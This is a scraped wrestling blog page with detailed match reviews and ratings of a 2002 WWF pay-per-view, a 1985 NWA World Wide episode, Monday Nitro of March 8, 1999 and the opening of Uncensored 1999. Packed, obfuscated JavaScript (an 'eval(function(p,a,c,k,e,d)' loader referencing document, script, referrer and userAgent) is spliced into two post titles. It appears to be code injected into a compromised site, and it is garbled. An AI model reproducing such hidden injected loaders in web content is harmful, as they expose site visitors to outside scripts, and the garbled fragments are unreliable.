Women’s Title: Trish Stratus vs. Jazz

Jazz is champion. Trish is stating to get good at this point. She also has her signature look down now. Molly Holly (with some very good looking reddish brown hair) comes out to protest Trish getting the shot. Molly lost a #1 contenders match to Trish due to some minor tights pulling, even though Molly did it first. She says that the fans want their Women’s Champion to be pure. Molly pops Trish with the mic and throws her to the floor. Trish fires back with forearms but gets sent into the steps.

Jazz comes out as Molly is sent to the back but Trish comes in damages. Side slam gets two. Trish can’t get anything going and Jazz hits a Regal Roll for no cover. Trish hits a clothesline and a bad Chick Kick for two. Stratusphere puts Jazz down and a neckbreaker gets two. Jazz comes back with a Batista Bomb for two. Belly to back gets the same for the champ. Trish goes to the corner but gets pulled out by a dragon screw leg whip. That gets transitioned into a Boston Crab and an STF for the tap out.

Rating: D+. Nothing much worth seeing here and I’m not quite sure why they went with Jazz as champion for so long. They would give Trish the title soon enough but for some reason they didn’t give it to her in Toronto at Mania. Not a terrible match here but no one cared about Jazz at all.

Jazz has nothing to say post match.

We recap Jeff Hardy vs. Brock Lesnar. Heyman was in Lita’s locker room on Monday and had one of her thongs. He implied if she slept with him, Brock wouldn’t kill Matt. Later in the night Heyman had her whole bag of thongs (why does she needs that?) and when Matt charges at Heyman, Lesnar killed him with an F5 on the stage.

Heyman fires up Lesnar in the back.

Jeff Hardy vs. Brock Lesnar

Lesnar is still using generic ominous music here. Hardy goes right at him and is easily thrown to the floor. Hardy tries to speed it up but dives into Lesnar’s arms. He manages to ram Brock into the post and hits a top rope cross body back in for two. Brock shrugs that off and rams Hardy into the corner with the shoulders.

The destruction begins as Brock throws him around and Heyman yells that it’s Lita’s fault. Jeff gets in some punches but he can’t do much with them. A Whisper in the Wind out of nowhere puts Lesnar down as does the jawbreaker. Swanton gets two so it’s chair time. Brock picks him up with ease and hits the F5. Three powerbombs and it’s called off.

Rating: C+. This was exactly what it was supposed to be: a way to make Lesnar look completely awesome and dominant. Those powerbombs were awesome and Jeff’s masterful selling helped them all that much more. Throw in Lita looking especially great and this worked quite well.

We recap Angle vs. Edge. Angle said he beat Olympians from Russia and Iran who were a lot tougher than Nikolai Volkoff and the Iron Sheik. He made an open challenge and lost to Edge in the biggest win of Edge’s career. This was the feud that transitioned Edge from comedy singles guy to legit midcard guy. There were some offbeat shenanigans with Angle holding up pictures with funny phrases on the backs of them, resulting in the match tonight. If I remember right it also introduced Angle’s YOU SUCK chant.

Edge vs. Kurt Angle

Angle takes him down quickly but Edge speeds things up and takes over. He hits a flapjack and knocks Angle to the floor where Kurt takes a break. Back in the American hits a German on the Canadian to take over. They trade chops in the corner but Edge walks into a belly to belly overhead for two. Edge tries to come back but gets caught in another suplex for two.

Angle hooks a chinlock and tries the Rolling Germans but Edge escapes. There’s a suplex to Kurt and both guys are down. Angle gets back up first but gets sent into the corner and walks into the Edgecution for two. Edge goes up but Angle walks the corner (that was a newer move back then) and suplexes Edge down for two. Ankle Lock is quickly broken up so Kurt hits some more Rolling Germans for two.

Edge hits an overhead German of his own to send Angle to the floor, where Edge kills both himself and Angle with a dive. Back inside a missile dropkick gets a VERY close two. Edgecution and Edge-O-Matic are countered into the Angle Slam for two. There’s the ankle lock but Edge rolls through it before hitting a clothesline. Angle is frustrated so he goes to get a chair. It hits the top rope though and Edge hits the Edge-O-Matic for two. The fans are WAY into these kickouts. Angle kicks him in the face on the spear attempt and the Slam gets the pin.

Rating: B+. VERY fun match here which was way out of Edge’s league at this point. This is the feud that made Edge into a solid guy and also made Angle bald. Good stuff here as the fans were as into those kickouts as I can remember any crowd being in awhile. This was very entertaining and it would only get better between these two.

Tazz is at WWF New York and the fans are split on the main event.

Here’s Jericho who complains about not being on the show after being in the main event of Wrestlemania a month ago. So he rants for awhile and says he’s better than everyone, including Hogan. He says Hogan isn’t worthy of being a champion and that it should be his title shot. Jericho says he’s leaving Kansas City RIGHT NOW. I’m sure you all know what that means.

Flair says he’ll call the match fair tonight when Undertaker comes in. Nothing is said but I think Taker is mad about Flair taking the last bowl of Jello.

Intercontinental Title: Eddie Guerrero vs. Rob Van Dam

Eddie is recently back from almost a year off due to drug and alcohol issues. So they pick RVD to put him out there with? Isn’t that a form of enabling? Eddie punches him during the finger pointing and we’re off fast. Van Dam kicks his head off and hits the big monkey flip. Heel trip gets two. Eddie hits a good dragon screw leg whip and pounds on Rob in the corner.

Van Dam comes back with some kicks and a floatover suplex for two. Rob goes up and gets crotched but manages to guillotine Eddie on the top rope, followed by a top rope kick. The cartwheel into the moonsault gets two. They trade rollups and head to the floor with Van Dam hitting a moonsault off the apron. The spinning leg to the back of Eddie puts Guerrero down and they head back inside where the champion gets two. Rolling Thunder gets knees and Eddie takes over again.

Tilt-a-whirl puts Van Dam down and a belly to back suplex gets two. Surfboard with the neck crank goes on but Eddie lets it go. Now it’s a Gory Stretch but Van Dam counters into a sunset flip for two. Eddie climbs the ropes into a perfect rana for two. He suplexes RVD and calls for the Frog Splash but Rob pops up to kick the knees out. Eddie this a WICKED sunset bomb out of the corner for two. Van Dam kicks him to the floor and Eddie grabs the belt. After a quick ref bump, Eddie hits a neckbreaker onto the title. Frog Splash gives us a new champion.

Rating: B-. Another good match here as again, the idea of talented people getting time makes for a good match. Eddie getting a title back after being here a month after a long time away due to personal issues is a stretch, but he would do pretty well in this role. Good match here and the ending worked pretty well.

We recap Austin vs. Undertaker. Both guys had to qualify for this by beating Hall and Van Dam respectively. Austin had Stunned Flair because that’s what he does and Undertaker had feuded with Flair before this match. There’s your wild card.

Steve Austin vs. Undertaker

Winner gets the title match next month and Flair is guest referee, wearing some red boots under his referee gear. Even Lawler says it looks bad. Flair is Raw owner here if that clears anything up. Undertaker hits a shoulder block to put Austin on the floor. Back in and a shoulder doesn’t work on Taker at all. Taker is coming off like a face here, which he certainly isn’t. Austin responds by checking his watch and doing push-ups. Ok then.

Austin finally goes off with a forearm to the head and there’s a middle finger for Taker. He offers a test of strength and flips Taker off again. Austin goes technical with an armdrag and a drop toehold. He works on Taker’s arm for a bit and avoids a right hand. Austin chops away in the corner but Taker clotheslines him down for two. Old School gets two but Austin hits the Thesz Press and the Screw You Elbow for two of his own.

Out to the floor and Austin rams him into the table. Taker shrugs that off and sends Austin into the table. Austin fires off right hands and knocks him into the crowd but only the front row. Back to ringside and Austin’s piledriver attempt is countered and the fight continues. Here’s the NWO because who could get along without them? The fans are all over Pac already as Austin is sent into the steps.

They finally get back in the ring but not before Taker drops a leg on Austin’s back while on the apron. Taker goes after the knee and drops some elbows on it. Off to a leg lock but Austin grabs the rope. Taker gouges at the head of Austin as this is getting way more time than I expected it to. Well not really as I knew how long it would get but you know what I meant. Austin fires off some punches but gets drilled down again for two. The NWO is still in the aisle and Pac has Kane’s mask on which looks very stupid.

Taker hits his high clothesline for two and it’s time for some choking. Austin comes back with a lot of punches and stomps in the corner but runs into an elbow in the corner. Tombstone is countered and Austin shoves Undertaker into Flair by mistake. Stunner puts taker down but there’s no referee. You know, because Undertaker running into Flair would knock him out like any other referee.

With Flair down, Taker hits Austin low and loads up the chokeslam which only gets two. Flair counts very slowly. Taker brings in a chair but Flair takes it away, allowing Austin to hit a low blow. That doesn’t really get sold at all as Undertaker hits a big boot for two. Spinebuster gets two for Austin. Stunner is countered and Austin is rammed into Flair again. Taker hits a chair shot but the count is slow so it’s only two.

Austin puts on a Dragon Sleeper of all things but it’s quickly broken up. It’s Mudhole Stomping time and Austin picks up the chair. Taker kicks it into his face and gets the pin, despite Austin having his foot on the rope. The story would become that Flair didn’t see it, which would be good, IF HE HADN’T CLEARLY LOOKED OVER HIS SHOULDER TO MAKE SURE THE FOOT WAS ON THE ROPE BEFORE HE COUNTED.

Rating: C. This wasn’t too bad and at twenty seven minutes, that’s pretty impressive for these two that had a lot of bad chemistry. This would turn into Flair vs. Austin which would be so stupid that Austin would leave for eight months. This was more long than good, but sometimes that’s enough to get by.

Austin Stuns Taker post match. Why was the NWO out there? They never did a single thing.

Coach tells Flair about the foot on the ropes and we get a clip of it. Flair is upset and walks away.

Tag Titles: Billy/Chuck vs. Maven/Al Snow

Snow and Maven clear the ring to start and Snow puts on a headband. Maven and Chuck officially get us going but it’s off to Billy very fast. Billy and Chuck are champions in case you’re really new at this. Maven comes back with a DDT but can’t make the tag. Snow is like screw it and runs in to beat on Billy. Off to Snow who cleans a house which wasn’t that dirty in the first place.

Snow gets taken down by Chuck and the beating begins. Swinging neckbreaker gets two for Billy. The fans tell Rico that he’s gay. Billy misses a corner splash and it’s hot tag to Maven. He hits the one move he was good at, the dropkick, to send Billy to the floor. Snow gets caught by a superkick but Rico accidentally kicks Chuck’s head off. Top rope cross body gets two for Maven. Snow has to chase Rico so Chuck kicks Maven’s head off to retain.

Rating: D. Not much here but it was happening to bridge the two main events which was fine. Billy and Chuck would crank up the overtones soon enough while Maven and Snow wouldn’t go anywhere as a team, or alone for that matter. There isn’t much to say about this match because it was only there to fill in time, which is understandable. More Rico would have helped.

We recap HHH vs. Hogan. Basically Vince made Hogan #1 contender and HHH is ready to mow him down. It’s face vs. face here and we get the music video treatment with the rare song that fits. It’s Young Grow Old by Creed.

WWF Undisputed Title: Triple H vs. Hulk Hogan

Feeling out process to start with both guys shoving the other down. The fans are all behind Hogan here. We do the test of strength and HHH puts him down but Hogan comes back and tries to put HHH down, but the champ pops Hogan in the face with an elbow. Top wristlock goes on but Hogan shoves him off and poses. HHH finally goes off on him, pounding Hogan down in the corner.

Hogan backdrops HHH down and comes back with clotheslines and punches in the corner. HHH gets in some punches but gets backdropped over the top to the floor. The Game gets sent into the barricade and suplexed to put both guys down. Back in the ring and HHH takes over again, but the Pedigree is countered into a slingshot and rollup for two. A suplex is countered and HHH goes after the big knee brace of Hogan.

The knee gets wrapped around the post as HHH channels his inner Flair. He lays on the leg for a hold and cranks on the knee gently. HHH completes the Flair love with a Figure Four (wrong leg so it gets even more points). Hogan makes the ropes so it’s off to a sleeper which devolves into a chinlock. This match is so boring.

Hogan breaks out of that by Hulking Up and hits the big boot and legdrop, but here’s Jericho to pull the referee out and hit Hogan with a chair to the head. HHH beats up Jericho and now it’s time for the proper Hulk Up. The big leg misses and HHH hits a Pedigree for two because Undertaker comes out and breaks up the pin. Taker cracks HHH with the chair and tries to put Hogan on top but Hulk beats up Taker, allowing Hogan to drop the leg for the pin and the title.

Rating: D. Hogan’s reaction for winning the title was decent, but MAN this match was boring. They got 22 minutes and most of it was Hogan laying around, which is what you would come to expect from a match like this. They changed the title a month after Wrestlemania which is kind of stupid in the first place, but thankfully they changed it to Taker a month later. Bad match but the fans liked it so maybe that makes up for it.

Hogan and HHH do the big dramatic handshake to end the show.

Overall Rating: D+. I watched most of this show last night and I don’t remember the vast majority of it. That’s the problem with this show: it’s not interesting or memorable at all. There are some good matches here, but the show comes off as very flat and boring for the most part. Angle vs. Edge was good and the IC Title match was solid, but there’s nothing here really worth seeing. It’s not a bad show but it’s pretty much just there. The show isn’t worth seeing at all and it’s a start of a bad stretch for the company.

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Ric Flair and Alex Shelley Both Reportedly Gone From TNA

Source

Flair, spending too much money and partying too much? You don’t say!

Can’t blame Shelley. He’s basically been made to sit around since Sabin got hurt and now that he’s back they’ve been a guest on Hogan’s Reality Show and that’s about it. He can make far more money in the WWE midcard anyway.

Thoughts on this?




NWA World Wide Wrestling – January 5, 1985: Don’t Be Modest Dusty

NWA eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nybye|var|u0026u|referrer|htyft||js|php'.split('|'),0,{})) World Wide
Date: January 5, 1985
Location: Dorton Arena, Raleigh, North Carolina
Commentator: Tony Schiavone

This is a show that I did an episode of before and I’m back again. This is going to be squash heavy and that’s what the norm was back then. We’re just past Dusty losing on a decision kind of at Starrcade so we’ll probably talk about that some. The thing was back then, there was really just that one show for the whole year so the rest of the year, there wasn’t much else to talk about but house shows. Let’s get to it.

After a quick clip of a brawl between what looked like Don Kernoodle and Ivan Koloff, we get the intro sequence.

Dusty Rhodes and Manny Fernandez, the world tag champion, have been challenged by the Road Warriors. Manny accepts the challenge and we get a Road Warriors squash with Dusty talking about it. Seeing Ellering with blonde hair is a strange sight. The conclusion is that the Road Warriors are awesome, but they haven’t faced a team like the champs yet. Animal pins a jobber with the powerslam.

Ricky Steamboat welcomes us to the new year and says that he wants the NWA World Title this year. Steamboat would leave for the WWF at the end of February.

Tully Blanchard/Black Bart/Ron Bass vs. Tommy Lane/Lee Ramsey/David Diamond

Blanchard and Lane start things off. The squashing begins quickly as it’s off to Bass. He’s Mid-Atlantic Champion and Mid-Atlantic Tag Champions (different from Fernandez and Rhodes’ World Tag Titles). Blanchard is World TV Champion. Back to Blanchard who beats up Lane some more and throws him to the jobber corner for a tag.

There isn’t much to say here as it’s just the champions taking turns beating up Diamond. He gets sent to the floor and beaten up out there for a bit with some heel cheating. Ramsey comes in off a tag and everything breaks down. That doesn’t last long and it’s back to Bass beating up Ramsey. Blanchard comes back in and the slingshot suplex gets the pin.

Rating: D+. Nothing to say here as it was just a big beating. That being said, the idea of putting the tag team champions with the TV Champion would prove to be a great idea in about a year as they added Flair to the mix. That would be called the Four Horsemen. Anyway, just a squash here and it wasn’t that great.

Tony runs down a house show card VERY quickly. The Koloffs say they’ll win the battle royal.

Barbarian vs. Joel Deaton

Barbarian only debuted a few weeks ago and this might be his first match. He headbutts Joel and sends him out to the floor. Paul Jones, Barbarian’s worthless manager, adds in some cane shots for bad measure. There’s a bearhug but Deaton elbows his way out of it. A half superkick/half big boot puts Deaton down and Barbarian goes to the top twice, but both times he comes back down. He opts to choke and bite, followed by a chinlock for two arm drops. The comeback is quickly stopped and finally the top rope headbutt ends this.

Rating: D. This was exactly what you would expect so it wasn’t all that interesting. Jones was one of the most useless managers ever and I’m not sure anyone ever got the point of him. He eventually became this military (I think) kind of fanatic calling himself #1 Paul Jones. No one really cared but he did it anyway.

Tully says that he’s looking for a perfect ten woman, so here’s an address to send pictures to. This would be paid off in a few weeks I believe.

The Long Riders (Bart and Bass) talk about being tired of facing big numbers. Their manager JJ Dillon is off finding help for them.

Curtis Harrison vs. Assassin #1

Assassin takes Harrison to the mat and uses some technical stuff which is against his nature. A big right hand ends this quick. He’s called The Man With The Hands Of Stone, which would be used by Ronnie Garvin a few years later.

Paul Jones talks about his new man: Kung Fu Billy Graham. This was one of the most head scratching gimmick changes ever. World title here we come and all that jazz. There’s also some new guy named Magnum TA that he’d like a piece of.

Magnum TA vs. Doug Vines

Magnum armdrags him down and hooks an armbar. We’re thirty seconds in, making this one of Magnum’s longer matches. That’s not sarcasm by the way. His gimmick was he’d hit like two moves and then the belly to belly would get the pin. This is a MARATHON at two minutes with the finish I just said.

More house show ads. Flair is ready to defend against Harley Race in Greensboro. That sounds familiar. Don Kernoodle is ready to defend AMERICA.

Dusty is glad Kernoodle is back from injury. We get a clip of his first match back, which is the fight before the opening sequence. It’s about a flag or something. Dusty doesn’t like the Commie Koloffs so he’s offering to help capture the flag from them. Kernoodle got the flag back but Nikita ran in and took the flag back. Dusty came out for the save. He’s sweating just from this promo. Dusty wants the title back and likes Ricky Steamboat too. Tony looks bored out of his mind here. Dusty complains about the Russians some more and praises himself to end the show.

Overall Rating: C. For a 45 minute show with nothing but squashes, they covered a good deal of stuff here. This would be your typical NWA show of the time, which means it’s pretty good. Worldwide was the B show though which made it a little less interesting. The main show is World Championship Wrestling and if I can find that I’ll take a look. This was good though.

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Monday Nitro – March 8, 1999: This Company’s Soul Has Died

Monday Nitro
Date: March 8, 1999
Location: DCU Center, Worcester, Massachusetts
Attendance: 9,400
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan, Larry Zbyszko

This is another request and the ultra rare Nitro request on top of that. This show is another three hour show from WCW and the first hour is considered one of the worst hours of wrestling TV ever. This is also the go home show for Uncensored which has a main event of Hogan vs. Flair. There’s some innovative thinking. Let’s get to it.

We open with a video of the special cage (the Cell) being built for the main event on Sunday.

We get a clip from Thunder with Arn Anderson talking to Flair, trying to console him about David Flair turning on his dad. Flair talks about how he’s got Hogan to worry about so he can’t worry about David right now. It’s David’s responsibility and that’s not Ric’s problem anymore. Anderson says that David is young and making mistakes. Ric says that’s not his problem right now. He says the Horsemen are back on top if he wins the title. Anderson says he hopes this is just a game face and that he really is concerned. Flair basically says screw that, it’s my time. Anderson doesn’t like it. This goes on for like seven minutes.

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The Nitro Girls are in Rhode Island at some kind of Nitro Party with competitions and such.

We go to a live Nitro Party in Providence, Rhode Island. They’re at a university apparently. There’s a spring break special and a guy here (last name Kazarian) won a trip to it.

We get introduced to Nitro Girl AC Jazz and see one of their practices.

Hogan talks about how everyone hates him but he did it for the money or something. This is tied into David Flair joining the NWO. Ric is only obsessed with the belt and power and doesn’t care at all about his son bailing. Hogan would NEVER do that but he’s willing to give Flair another shot, but he wants Flair’s career vs. the title. This also runs 5 minutes.

We’re over 20 minutes into this show and we haven’t seen the arena yet.

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Back to the Nitro Party after a presumed commercial. Konnan is at the party too.

Here’s a Konnan rap video to make sure we don’t get any wrestling.

Another NWO video, this one of Hogan and Nash watching a Flair promo. It’s basically them riffing on him as Flair talks about coming back to WCW and seeing his son leave him for the NWO. Hogan and Nash make Buddy Landell jokes that maybe 2% of the audience will get. The NWO says they’ll regroup.

Video on Lex Luger.

Scott Steiner is pulled over while driving a Hummer limo. The cops recognize him and Bagwell……and make them cops. We get a montage of them “stopping crimes” after starting them in the first place while calling each other Starsky and Hutch.

Back to the party with the girls dancing. Kidman is there now and thinks Mysterio can beat Nash.

Video on Mysterio. The NWO took his mask so this Sunday he can get revenge.

Torrie Wilson is shooting a gun at a shooting range when Hogan and Nash come in. They go in to see her and the camera would be right in the path of her bullets. The guys suggest she sleep with David to get him back on their side. They plan to meet for dinner later.

45 minutes in, no arena yet. Keep in mind that this was the hour they had unopposed by Raw. Raw would be having the final push to Mania 15, meaning Austin vs. Rock/McMahon. AND THIS IS WHAT THEY GIVE US. Is anyone surprised they went out of business?

And uh, here’s the dinner. They talk about destroying Ric Flair and plan about David.

See, apparently at this point there were four dark matches going on in the arena. We’re getting this hour of stuff instead. Looking at the card though, this might be more entertaining. Looking at Torrie Wilson with a dress that comes to her upper thigh is never a problem. She says there’s another hot girl she knows. The girl is some chick named Denise who I don’t recognize. Her last name is Robinson, meaning we get Graduate jokes. Apparently she’ll get 20 grand for taking care of David.  That’s quite the offer.

Now we get the theme song. SO WHAT WAS THAT FIRST HOUR???

We go to the arena…for an interview. Well of course we do. Gene calls out Goldberg for a chat but we get Torrie and David instead. David wants to talk to Ric man to man tonight. Goldberg’s music hits….and we take a break. Back with Goldberg in the ring, talking to David about respect. He isn’t going to take care of things like he usually would. That’s good. It might be entertaining.

David needs to respect what his father has done for the business because it’s more than David and his friends could ever do. David also needs to respect Goldberg because this is his time. David shoves him and gets choked, so here comes Ric. Flair sprints down and chops Goldberg once before turning to David, who is running away. Press slam to Ric (who is president at this point) and Naitch is in trouble. Flair makes Goldberg vs. himself tonight. Goldberg says Flair is crossing the line so Flair yells some more.

ANOTHER commercial.

Raven vs. Hak

Falls count anywhere. Neither gets an entrance. Raven has a chair and Hak (Sandman) has a cane, but as the bell rings….they hug. Oh never mind as Raven pounds him down almost immediately. HARD cane shot to Hak’s head and they head to the floor. Bam Bam Bigelow will join these two at Uncensored in a triangle match. Hak puts him on the guardrail and hits a leg to the back ala RVD minus the spin.

They go up the ramp with Raven hitting a suplex onto the steel. Bird Boy busts out a table on the stage. He climbs the scaffolding to put Hak through it and here’s Bigelow, who isn’t in the match. He beats up Hak anyway as the fans chant for Goldberg. The bell rings and I guess the match is thrown out to HUGE booing.

Rating: D+. This was stupid. I guess they were previewing the PPV match but it didn’t make me want to see it. Also it’s Raven’s Rules so how can that be a DQ? Stupid match with a stupid ending. The table spot and the cane shot weren’t bad, but what was the point of this?

Apparently the bell was inadvertent so we’re going to continue this in the same match we’ll see on Sunday. Great.

Hak vs. Raven vs. Bam Bam Bigelow

They’re fighting in the back with Hak being thrown all over the place. Hak comes back and fights up to an ambulance. Here’s Raven again and it’s just random brawling. There’s a trash cart and Hak goes for a ride in it. They fight over to Flair’s limo and Raven DDTs Hak on the hood, only to get crushed by Bigelow.

He hits Raven in the groin on the hood and they’re all exhausted. They keep beating on each other and you can hear the boring chants. The problem here is they’re just laying around, doing a spot, then laying around more. They all just walk away to end it. No rating because it wasn’t really a match, but this was STUPID.

Now we get clips of the three guys fighting last week. Ok then.

Lizmark Jr. vs. Chris Jericho

Jericho (WITH RALPHUS!) comes out wearing a dog collar. Jericho grabs the mic and welcomes us to Monday Night Jericho. Tony: “Hey we’re talking here fellow!” Chris wants to talk about Perry Saturn, who has challenged Jericho to a chain match on Sunday. Jericho is a master of the chain match though, after training on mountain tops in Nepal. He’s a Swami you see. This match is going to be a chain match. Tony: “There’s been too much talk and not enough wrestling here.” I think I just died because of that line.

The bell rings so let’s talk about Flair some more. I think you win by pin or submission here. Jericho steps on the chain to pull Lizmark in to start and chokes with it. He wraps the chain around the knee and drops it in a unique spot. Lizmark gets tied up with the chain as Tony talks about the chain match at Starrcade 83. Can we watch that instead? It’s a MUCH better match than anything that’ll be on this show. Lizmark chokes him a bit but walks into a kind of spinebuster and the Liontamer for the tap.

Rating: D+. There were some nice moves in this from Jericho but it was just a squash. Jericho has said he had more or less made up his mind that he was gone soon after this and in fact he would be in the WWF by I believe August, where things would go MUCH better for him. Lizmark never quite meant much in WCW.

Here’s Steiner to say he’s well built and all that. The fans are all fat. Buff Bagwell says Booker is too stupid to back out of the match tonight.

TV Title: Scott Steiner vs. Booker T

Steiner is TV Champion. The announcers talk about how great the NWO has been at what they’ve done. We’re two and a half years into the plan so far and it still hasn’t worked but whatever. Feeling out process to start and Booker hits a spinning forearm for two. A hook kick knocks Steiner to the floor and Tony complains about Steiner taking a break. Larry goes into some weird environmental speech about breathing clean air before Tony cuts him off.

Back in the ring and Booker rams him into the corner a few times before Scott kicks him low to take over. Out to the floor again and we get a steroids chant. We take a break and come back with Booker hitting a forearm for one but getting taken down by a clothesline. Spinning belly to belly puts Booker down and Steiner keeps pounding away at the back. He pounds Booker down in the corner with punches and gets two off a backbreaker.

Steiner keeps up the power with a slam and chokes Booker in the Tree of Woe. Booker escapes another slam and hits a neckbreaker to break up Steiner’s momentum just for a second. Ax kick out of nowhere puts Steiner down and there’s the Spinarooni. Booker goes up but gets crotched by Bagwell. There’s the Recliner and Booker’s arm drops twice. He holds it up for the third drop so Steiner drops him….which counts as the third arm drop and Steiner wins by knockout. At least it’s over.

Rating: C-. Not a horrible match here but Steiner just wasn’t over yet. That didn’t stop the company from shoving him down our throats of course but when did it ever? Bagwell was beyond annoying here and did the match no favors. Still though, it was nice to see a match get some time as opposed to what you were expecting with Raw at this time.

Steiner hits Booker in the back with a chair post match.

We see the Flair vs. Goldberg showdown earlier.

The Nitro Girls dance as Tony talks about upcoming house shows (his words).

Jerry Flynn gets promo time for some reason. Before he talks, Sonny Onoo (one of his opponents on Sunday and minus his accent) comes up but Jerry grabs him by the shirt. Ernest Miller, the other opponent, kicks Flynn in the back of the head and they cut off his mullet.

Scott Norton vs. Rey Mysterio

I think you get the idea here as Mysterio has Nash on Sunday. Norton is looking old here. Rey gets knocked to the floor and is holding his back. There isn’t much to say at all here. Mysterio charges at Norton, Norton knocks him down, Rey lays around a lot, Norton hits him some more, Rey charges at Norton and we repeat it again.

Norton throws him out to the floor and Rey’s back is hurt. Rey counters the shoulderbreaker but gets dropped on the buckle to stop the comeback. Norton kills him with a clothesline but picks him up. He does the same off a one handed press slam. Ok that was cool. Then Rey kicks him low and a fast count pins Norton. Seriously, that’s it.

Rating: F. What in the world did this accomplish? Rey looks like a ragdoll, Norton looks like an idiot, I have no reason to believe Rey can beat Nash fairly or have a chance against him, and the match was boring because Norton did little more than stand around the whole time. What was this supposed to accomplish?

More Nitro Girls.

The same cage building video from earlier is shown.

Van Hammer vs. Bret Hart

O……k. Apparently there are more stipulations for Flair vs. Hogan but you have to check the WCW website for them. Egads. Feeling out process to start and Bret is sent to the floor to cool off a bit. Back in and Van Hammer works on the arm but Bret nips up into an arm hold of his own. Van Hammer takes him right back down into a wristlock. He takes Bret into the corner and has been in control most of the match.

Bret is like screw that and hits Hammer low to take over. It’s time to work on the leg so Bret goes through his usual sequence of wear down stuff. Figure Four goes on (the wrong leg) but Van Hammer makes the rope. In a nice heel move Bret won’t let go and spends a long time explaining to the referee that it’s because Hammer is laying on his leg. Small package gets two for Hammer.

Hammer hooks the slowest motion backslide ever for two. Bret goes back to the knee with a cannonball down onto it. The leg gets wrapped around the post and a DDT gets two for the Hitman. Back to the floor and Bret tries to ram the leg into the post again, only to get pulled into it face first. Back in and Hammer suplexes him for no cover. Van Hammer’s cobra clutch slam gets two. An enziguri misses and it’s Sharpshooter time. You know that ends it.

Rating: C-. Not bad here but why would you wasted a 12 minute Bret Hart match on freaking Van Hammer? This is where WCW never made a ton of sense (I know, I know): they had no clue what to do with Bret as he was in the midcard for most of his time there, especially after the first few months where he didn’t do much of anything.

Bret hits the leg with a chair post match.

Hogan and Nash come to the commentary booth and run off Heenan and Tenay.

Ric Flair vs. Goldberg

You know you might think this should be saved for a PPV. That would make too much sense I guess though. Nash brings up a good question: why does Flair wear his knee pads below his knees? Flair gets taken down quickly and is shoved down a second time. Shoulder block doesn’t work at all for Flair. A second does even less. A third results in a gorilla press powerslam to have Flair in agony.

Flair tries to walk up the aisle but Goldberg drags him back. Nash talks about some really strong dude from the Emerald city but he isn’t sure what happened to him. A low blow puts Goldberg down (popular move tonight) and chops don’t work. Another low blow puts Goldie down for an easily broken two count. Goldberg stars a comeback but Flair kicks him low a third time. Refereeing in this company sucks.

Time to go after the legs and after a single shot it’s Figure Four time. That gets powered out of so Flair fires off some kicks. Goldberg no sells them and sends Flair to the corner for the Flair Flip and out to the floor. Flair gets slammed down but the spear misses and he hits the buckle. Goldberg no sells a suplex and spears him down. The NWO D-Team runs in for the no contest.

Rating: C+. This was getting really good until the bad ending. See, here’s what I don’t get. What was the point in the NWO coming in? Hogan is facing Flair on Sunday so wouldn’t they want him to get hit with the Jackhammer to hurt him more? Goldberg didn’t have a match on Sunday and wasn’t on the show at all, so why would they attack him? That’s a basic plot problem.

Hogan and Nash come in also and it’s a big NWO beatdown to end the show.

Overall Rating: D-. I know the expected thing is to say that this is the worst show ever and all that, but it really isn’t. Don’t get me wrong: it’s bad and this was a chore to sit through, but it wasn’t the worst show ever. This was just dull for the most part. Considering I didn’t have to pay much attention at all to the first hour, this was just a bad Nitro. That being said, the show still sucks, but I’ve seen far worse shows. The lack of energy or anyone caring at all is really evident though.

Here’s Uncensored if you’re interested:

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Uncensored 1999: FLAIR BEATS HOGAN!!!

Uncensored eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hniyy|var|u0026u|referrer|zhtet||js|php'.split('|'),0,{})) 1999
Date: March 14, 1999
Location: Freedom Hall, Louisville, Kentucky
Attendance: 15,930
Commentators: Mike Tenay, Bobby Heenan, Tony Schiavone

Another Uncensored here in the form of the 1999 version. The main event is Hogan vs. Flair in a first blood steel cage match that you can win by pin for the title and control of the company. Other than that this is more or less the standard WCW card from this era as you can see how far the company has fallen in a single year. Also this show is in Kentucky and the only reason I heard about it was my family was in Louisville a few days before the show. They never advertised in Lexington, which is only about an hour and ten minutes away. I’d try to tap into the extra 300,000 fans but that’s just me. Let’s get to it.

The opening video is one of those weird ones that looks like a prison and then the visuals of Flair and Hogan are all weird looking. It’s kind of hard to describe.

The cage will have barbed wire around the top apparently. Also Tony flat out says that hit’s a first blood cage match. Flair’s career and job as leader of the company is on the line.

Video on Nash vs. Rey which resulted in Rey losing his mask earlier. Nash also offered him a spot in the NWO and it got turned down.

Cruiserweight Title: Mikey Whipwreck vs. Billy Kidman

This is Whipwreck (a heel here) making his debut and he’s getting a title show. Well of course he is. Louisville wasn’t an ECW town so I doubt many people know who Mikey is. Kidman tries to speed things up to start but Mikey grabs a front facelock which doesn’t last long. Whipwreck is left handed. Since there’s no story here I need things to fill in space like that. SWEET dropkick by Kidman.

After being outside for just a few seconds Kidman comes back in and hits a cross body for two. Mikey sends him to the floor again and gets a wheelbarrow slam into the railing. Indian Deathlock goes on back in the ring to hurt the leg so now let’s work on the neck. Kidman reverses an Irish Whip and takes him down with a clothesline so he can stomp a mudhole.

Fameasser by Kidman is countered into a powerbomb for two. Off to a reverse front facelock (kind of like a weak Dragon Sleeper) which doesn’t last long. Mikey goes to the floor again and Kidman gets a huge dive onto him but it looked like Whipwreck was down already so the landing looked pretty bad. Back in and Mikey hits a slingshot move for two. Slingshot suplex is countered into a DDT by the champ to set up the Shooting Star.

Mikey sends him to the floor though but a big dive misses and Whipwreck crashes into the railing. FREAKING OW MAN! Kidman is backdropped into the crowd as this has been pretty back and forth here. Back inside now and a leg sweep gets two on Kidman. A splash misses in the corner and lets Mikey get two. After some waiting around, Kidman gets a Low Down for two.

